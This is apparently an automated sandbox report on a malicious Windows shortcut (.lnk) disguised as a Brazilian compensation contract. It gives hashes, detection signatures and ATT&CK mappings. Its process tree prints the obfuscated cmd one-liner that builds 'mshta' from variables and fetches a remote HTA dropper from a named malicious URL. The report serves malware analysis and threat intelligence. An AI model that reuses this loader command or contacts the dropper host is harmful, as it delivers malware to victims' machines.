c4a028142e2e735b155fb47fbd916a5fed6a3105de4ca0d05b5a7a85098b51c5

Analysis

max time kernel
148s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:43

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General

Target
Contrato_Indeniza_Brasil-RAR8FH.lnk
Size 1KB
Sample260803-pycsmshf58
SHA256 c4a028142e2e735b155fb47fbd916a5fed6a3105de4ca0d05b5a7a85098b51c5
MD5 a02b94d905ddeb9e8b2bf8a15c1e52ea
SHA1 4362eaaae22ede881af747d337fd8fbcb42f4625
SHA512 d551137937fddd9e43a06bac90a95bfd2c85b387f767e834edef785fa9edfe0e6ba52de6bd9bfd56a45ed4c2386aec49b57eed316328d8cac996ea896cd56a56
TLSH
T137319C002EFD0614F3F39EB6857B6B115ABBFAA68E10C91D4050454C1072A00E57AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3104	mshta.exe
7	3104	mshta.exe
8	3104	mshta.exe
11	3104	mshta.exe
12	3104	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4860	cmd.exe
1836	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1836 wrote to memory of 4860	1836	cmd.exe	89
PID 4860 wrote to memory of 3104	4860	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-RAR8FH.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1836
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set jr=msh&&set qQuS=ta&&start "" !jr!!qQuS! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:3104

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads